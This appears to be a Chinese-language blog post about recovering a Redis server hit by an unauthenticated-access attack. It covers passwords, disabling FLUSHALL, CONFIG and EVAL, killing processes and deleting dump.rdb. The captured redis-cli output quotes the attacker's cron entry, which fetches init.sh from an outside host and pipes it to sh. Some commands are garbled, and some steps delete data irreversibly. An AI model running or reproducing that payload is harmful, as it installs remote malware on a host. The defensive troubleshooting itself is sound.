1.過一段時間重新啟動redis客戶端時命令窗口顯示了位置信息而且無法刪除數據,FLUSHALL命令和DEL命令不能刪除,窗口顯示如下,查看網上的資料,說是redis被攻擊了,詳情參見https://www.freebuf.com/articles/database/147334.html,這時候你需要在redis.conf中配置redis服務器的訪問密碼(貼子很多,自行百度)同時在redis.conf里面設置一下,禁用redis中的三個命令,具體可以百度
FLUSHALL
CONFIG
EVAL
除此之外,可能還需要到 /root/.ssh 目錄下干掉 rm -f cat authorized_keys2 和 rm -f backup.db 文件 因為被攻擊之后會修改或者生成這兩個文件
如果你是被攻擊了,這兩個文件是肯定存在的
重啟redis服務器,在啟動redis客戶端的時候帶上密碼,如果啟動成功,過一段時間觀察redis中的key是否變了,如果啟動不成功,繼續往下看。
# src/redis-cli 127.0.0.1:6379> keys * 1) "backup4" 2) "backup1" 3) "backup3" 4) "backup2" 127.0.0.1:6379> get backup4 "\n\n\n*/5 * * * * wdl -q -O- http://kaiserfranz.cc/franz/b0cdc46f1337a7ed1bc4b27f08709d31/init.sh | sh\n\n"
127.0.0.1:6379> FLUSHALL (error) MISCONF Redis is configured to save RDB snapshots, but it is currently not able to persist on disk. Commands that may modify the data set are disabled, because this instance is configured to report errors during writes if RDB snapshotting fails (stop-writes-on-bgsave-error option). Please check the Redis logs for details about the RDB error. 127.0.0.1:6379> del backup1 (error) MISCONF Redis is configured to save RDB snapshots, but it is currently not able to persist on disk. Commands that may modify the data set are disabled, because this instance is configured to report errors during writes if RDB snapshotting fails (stop-writes-on-bgsave-error option). Please check the Redis logs for details about the RDB error.
config set stop-writes-on-bgsave-error no
2.重啟redis客戶端之前要先找到redis服務器的進程,通過kill -9 進程號的方式終結正在運行的redis服務,再次啟動服務
# ps -ef|grep redis
root 29735 22156 0 09:21 pts/0 00:00:01 src/redis-server *:6379
# kill-9 29735
#src/redis-server redis.conf
此時重啟任然有可能報錯下面這種錯誤
# Could not create server TCP listening socket *:6379: bind: Address already in use
再次使用 ps -ef|grep redis 確認redis-server的進程已經不再,鍵入src/redis-server redis.conf 任然報錯
# Could not create server TCP listening socket *:6379: bind: Address already in use
此時需要通過如下命令找到占用了6379端口的進程並干掉它,干掉之后確認一下6379端口是否還被占用
#2020-05-19 09:20:04 lsof -i:6379 #2020-05-19 09:21:03 kill -9 29407 # 2020-05-19 09:21:08 lsof -i:6379 # 2020-05-19 09:21:11 lsof -i:6379
再次啟動redis服務器端,大功告成。
3.通過kil -9命令干掉redis服務器進程后,重啟客服務器端,啟動日志最后出現了這種錯誤,說明啟動失敗,客戶端是連接不上的
3264:M 19 May 2020 09:56:26.933 # Wrong signature trying to load DB from file 3264:M 19 May 2020 09:56:26.933 # Fatal error loading the DB: Invalid argument. Exiting.
解決這問題的辦法是找到特定文件並刪除之,才能成功重啟,注意 rm -f 文件刪除命令無提示,linux沒有垃圾桶功能,數據無法找回,謹慎使用
# find / -name "dump.rdb" /soft/redis/redis-5.0.5/dump.rdb /soft/redis/redis-5.0.5/src/dump.rdb # rm -f /soft/redis/redis-5.0.5/src/dump.rdb # find / -name "dump.rdb" /soft/redis/redis-5.0.5/dump.rdb # rm -f /soft/redis/redis-5.0.5/dump.rdb # find / -name "dump.rdb"
鍵入重啟命令
# src/redis-server redis.conf
查到redis服務端啟動日志,最后一行顯示如下信息,說明啟動成功,重點看紅色部分
4891:M 19 May 2020 10:04:31.199 * Ready to accept connections
啟動客戶端測試連,大功告成
# ./src/redis-cli -h 127.0.0.1 -p 6379 -a 密碼 127.0.0.1:6379>